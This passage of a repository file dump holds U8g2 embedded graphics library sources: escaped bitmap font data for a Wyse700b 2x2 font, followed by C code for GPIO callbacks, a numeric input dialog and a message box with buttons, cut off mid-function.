\"\\0\\0\\0\\0\\0\\0\\20\\30\\30\\14\\4\\4\\204\\304\\354x\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\304\\344\\344$$,\\370\\370\\360\\0\\0\\7\\17\\17\\30\\20\\21\\23\\23\\22\\22\\22\"\n  \"\\23\\23\\1\\0\\0\\0\\300\\340\\360\\70\\34\\14\\14\\34\\70\\360\\340\\300\\0\\0\\0\\0\\37\\37\\37\\1\\1\\1\\1\\1\\1\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\30\\30\\20\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\14\\14\\4\\0\\0\\0\\374\\374\\374\\4\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\4\\4\\4\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\4\\4\\4\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\30\\30\\20\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\21\\31\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\200\\200\\200\\200\\200\\200\\200\\374\\374\\374\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\4\\14\\14\\30\\20\\20\\20\\30\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\374\\374\\374\\300\\340\\360\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\1\\3\\7\\16\\34\"\n  \"\\30\\20\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\374\\374\\374\\34\\70p\\340\\340p\\70\\34\\374\\374\\374\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374\\70p\\340\\300\\200\\0\\0\\374\\374\\374\\0\\0\\0\\37\\37\\37\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\37\\37\\37\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\7\\17\\17\\30\\20\\20\\24\\34\\34\\70\"\n  \"\\77/\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\34\\30\\20\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\204\\214\\30\\30\\20\\0\\0\\4\\14\\14\\30\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\4\\4\\4\\4\\4\\374\\374\\374\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\1\\3\\7\\16\\34\\30\\30\\34\\16\\7\"\n  \"\\3\\1\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\7\\17\\37\\30\\34\\16\\7\\7\\16\\34\\30\"\n  \"\\37\\17\\7\\0\\0\\0\\14\\34<p\\340\\300\\300\\340p<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\7\\3\\1\\1\\3\\7\\36\"\n  \"\\34\\30\\0\\0\\0\\0\\4\\14\\34\\70p\\340\\300\\340p\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\204\\304\\344t<\\34\\14\\4\\0\\0\\0\\20\\30\\34\\36\\27\\23\\21\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\0\\0\\374\\374\\374\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\30\\70p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\14\\10\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\3\\7\\16\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\"\n  \"@@@@\\0\\0\\0\\0\\0\\2\\6\\16\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@\\300\\200\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374@@@@@@\\300\\200\\200\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\37\\17\\17\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\30\\10\\10\\0\\0\\0\\0\\200\\200\\300@@@@@@\\374\\374\\374\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\37\\37\\37\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\0\\0\\200\\200\\370\\370\\374\\204\\204\\204\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\7GOHHHHHHH\"\n  \"\\177\\77\\77\\0\\0\\0\\374\\374\\374\\200@@@@@@\\300\\200\\200\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0@@@@`\\77\\77\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\2\\7\\17\\35\\30\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300@@\\200\\200\\300@@\\300\\200\\200\\0\\0\\0\\37\\37\\37\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\300\\300\\300@@@@@\\300\\200\\200\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\200\\200\\300@@@@@\\300\\200\\200\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\300\\300\\300@@@@@@\\300\\200\\200\\0\\0\\0\\0\\177\\177\\177\\10\\10\\10\\10\\10\\10\\14\"\n  \"\\7\\7\\3\\0\\0\\0\\0\\200\\200\\300@@@@@@\\300\\300\\300\\0\\0\\0\\3\\7\\7\\14\\10\\10\\10\\10\\10\\10\"\n  \"\\177\\177\\177\\0\\0\\0\\300\\300\\300@@@@@@\\300\\200\\200\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@@@@@@\\0\\0\\0\\0\\1\\21\\23\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\36\\14\\14\\0\\0\\0\\0@@@@\\374\\374\\374@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0@\\300\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\1\\3\\7\\16\\34\\34\\16\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\7\\17\\37\\30\\34\\16\\6\\16\\34\\30\"\n  \"\\37\\17\\7\\0\\0\\0\\0@\\300\\300\\200\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0\\0\\20\\30\\35\\17\\7\\7\\17\\35\\30\"\n  \"\\20\\0\\0\\0\\0\\0@\\300\\300\\200\\0\\0\\0\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0Acw>\\34\\16\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0@@@@@@@@@\\300\\300\\300@\\0\\0\\0\\20\\30\\30\\34\\24\\26\\22\\23\\21\\21\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\200\\200\\200\\360x|\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\30\\20\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\14|x\\360\\200\\200\\200\\0\\0\\0\\0\\0\\0\\20\\20\\20\\30\\37\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\10\\14\\4\\4\\14\\10\\10\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\300@` \\60\\20\\60 `@\\300\\200\\200\\0\\3\\3\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\3\\3\\3\";\n/*\n  Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 18/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700b_2x2_n[868] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_n\") = \n  \" :\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\240\\240\\340\\300\\300\\300\\340\\240\\240\\200\\200\\0\\0\\0\\0\\0\\2\\2\\3\\1\\1\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\360\\360\\360\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@xx\\70\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\30\\10\\0\\0\\0\\0\\0\\10\\14\\16\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\204\\304d<\\370\\370\\360\\0\\0\\0\\0\\7\\17\\17\\36\\23\\21\\20\\20\\30\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\20\\20\\30\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\14\\4\\4\\4\\4\\204\\204\\314xx\\60\\0\\0\\0\\30\\34\\34\\26\\22\\23\\21\\21\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\10\\10\\14\\4\\4\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\200\\300\\340p\\70\\34\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\37\\37\\37\"\n  \"\\1\\1\\0\\0\\0\\0|||DDDDDD\\304\\204\\204\\4\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\360\\370\\370\\214\\204\\204\\204\\204\\204\\204\\0\\0\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\4\\4\\4\\4\\4\\204\\304\\344|<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\6\\17\\17\\31\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\214\\370\\370\\360\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\0\\0\\0\"\n  \"\\0\\0\\0\";\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_gpio.c",
    "content": "/*\n\n  u8x8_gpio.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n\n#include \"u8x8.h\"\n\n\nvoid u8x8_gpio_call(u8x8_t *u8x8, uint8_t msg, uint8_t arg)\n{\n  u8x8->gpio_and_delay_cb(u8x8, msg, arg, NULL);\n}\n\n/*\nvoid u8x8_gpio_Delay(u8x8_t *u8x8, uint8_t msg, uint8_t dly)\n{\n  u8x8->gpio_and_delay_cb(u8x8, msg, dly, NULL);\n}\n*/"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_input_value.c",
    "content": "/*\n\n  u8x8_input_value.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8x8.h\"\n\n/*\n  return:\n    0: value is not changed (HOME/Break Button pressed)\n    1: value has been updated\n*/\n\nuint8_t u8x8_UserInterfaceInputValue(u8x8_t *u8x8, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post)\n{\n  uint8_t height;\n  uint8_t y;\n  uint8_t width;\n  uint8_t x;\n  uint8_t local_value = *value;\n  uint8_t r;\n  uint8_t event;\n\n  /* calculate overall height of the input value box */\n  height = 1;\t/* button line */\n  height += u8x8_GetStringLineCnt(title);\n  \n  /* calculate offset from top */\n  y = 0;\n  if ( height < u8x8_GetRows(u8x8)  )\n  {\n    y = u8x8_GetRows(u8x8);\n    y -= height;\n    y /= 2;\n  }\n  \n  /* calculate offset from left for the label */\n  x = 0;\n  width = u8x8_GetUTF8Len(u8x8, pre);\n  width += digits;\n  width += u8x8_GetUTF8Len(u8x8, post);\n  if ( width < u8x8_GetCols(u8x8) )\n  {\n    x = u8x8_GetCols(u8x8);\n    x -= width;\n    x /= 2;\n  }\n  \n  /* render */\n  u8x8_ClearDisplay(u8x8);   /* required, because not everything is filled */\n  u8x8_SetInverseFont(u8x8, 0);  \n  y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title);\n  x += u8x8_DrawUTF8(u8x8, x, y, pre);\n  u8x8_DrawUTF8(u8x8, x+digits, y, post);\n  u8x8_SetInverseFont(u8x8, 1);\n  \n  /* event loop */\n  u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits));\n  for(;;)\n  {\n    event = u8x8_GetMenuEvent(u8x8);\n    if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n    {\n      *value = local_value;\n      r = 1;\n      break;\n    }\n    else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n    {\n      r = 0;\n      break;\n    }\n    else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP )\n    {\n      if ( local_value >= hi )\n\tlocal_value = lo;\n      else\n\tlocal_value++;\n      u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits));\n    }\n    else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_DOWN )\n    {\n      if ( local_value <= lo )\n\tlocal_value = hi;\n      else\n\tlocal_value--;\n      u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits));\n    }        \n  }\n  \n  u8x8_SetInverseFont(u8x8, 0);\n  return r;  \n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_message.c",
    "content": "/*\n\n  u8x8_message.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8x8.h\"\n\nuint8_t u8x8_draw_button_line(u8x8_t *u8x8, uint8_t y, uint8_t w, uint8_t cursor, const char *s)\n{\n  uint8_t i;\n  uint8_t cnt;\n  uint8_t total;\n  uint8_t d;\n  uint8_t x;\n  cnt = u8x8_GetStringLineCnt(s);\n  \n  /* calculate the width of the button */\n  total = 0;\n  for( i = 0; i < cnt; i++ )\n  {\n    total += u8x8_GetUTF8Len(u8x8, u8x8_GetStringLineStart(i, s));\n  }\n  total += (cnt-1);\t/* had one space between the buttons */\n  \n  /* calculate the left offset */\n  d = 0;\n  if ( total < w )\n  {\n    d = w;\n    d -= total;\n    d /= 2;\n  }\n  \n  /* draw the buttons */\n  x = d;\n  u8x8_SetInverseFont(u8x8, 0);\n  for( i = 0; i < cnt; i++ )\n  {\n    if ( i == cursor )\n      u8x8_SetInverseFont(u8x8, 1);\n      \n    x+=u8x8_DrawUTF8(u8x8, x, y, u8x8_GetStringLineStart(i, s));\n    u8x8_SetInverseFont(u8x8, 0);\n    x+=u8x8_DrawUTF8(u8x8, x, y, \" \");\n  }\n  \n  /* return the number of buttons */\n  return cnt;\n}\n\n/*\n  title1:\tMultiple lines,separated by '\\n'\n  title2:\tA single line/string which is terminated by '\\0' or '\\n' . \"title2\" accepts the return value from u8x8_GetStringLineStart()\n  title3:\tMultiple lines,separated by '\\n'\n  buttons:\tone more more buttons separated by '\\n' and terminated with '\\0'\n*/\n\nuint8_t u8x8_UserInterfaceMessage(u8x8_t *u8x8, const char *title1, const char *title2, const char *title3, const char *buttons)\n{\n  uint8_t height;\n  uint8_t y;\n  uint8_t cursor = 0;\n  uint8_t button_cnt;\n  uint8_t event;\n\n  u8x8_SetInverseFont(u8x8, 0);\n  \n  /* calculate overall height of the message box */\n  height = 1;\t/* button line */\n  height += u8x8_GetStringLineCnt(title1);\n  if ( title2 != NULL )\n    height ++;\n  height += u8x8_GetStringLineCnt(title3);\n  \n  /* calculate offset from top */\n  y = 0;\n  if ( height < u8x8_GetRows(u8x8)  )\n  {\n    y = u8x8_GetRows(u8x8);\n    y -= height;\n    y /= 2;\n  }\n\n  /* draw message box */\n  \n  u8x8_ClearDisplay(u8x8);   /* required, because not everything is filled */\n  \n  y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title1);\n  if ( title2 != NULL )\n  {\n    u8x8_DrawUTF8Line(u8x8, 0, y, u8x8_GetCols(u8x8), title2);\n    y++;\n  }\n  y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title3);\n\n  button_cnt = u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons);\n  \n  for(;;)\n  {\n    event = u8x8_GetMenuEvent(u8x8);\n    if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n      return cursor+1;\n    else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n      break;\n    else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP )\n    {\n      cursor++;\n      if ( cursor >= button_cnt )\n\tcursor = 0;\n      u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons);\n    }\n    else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == 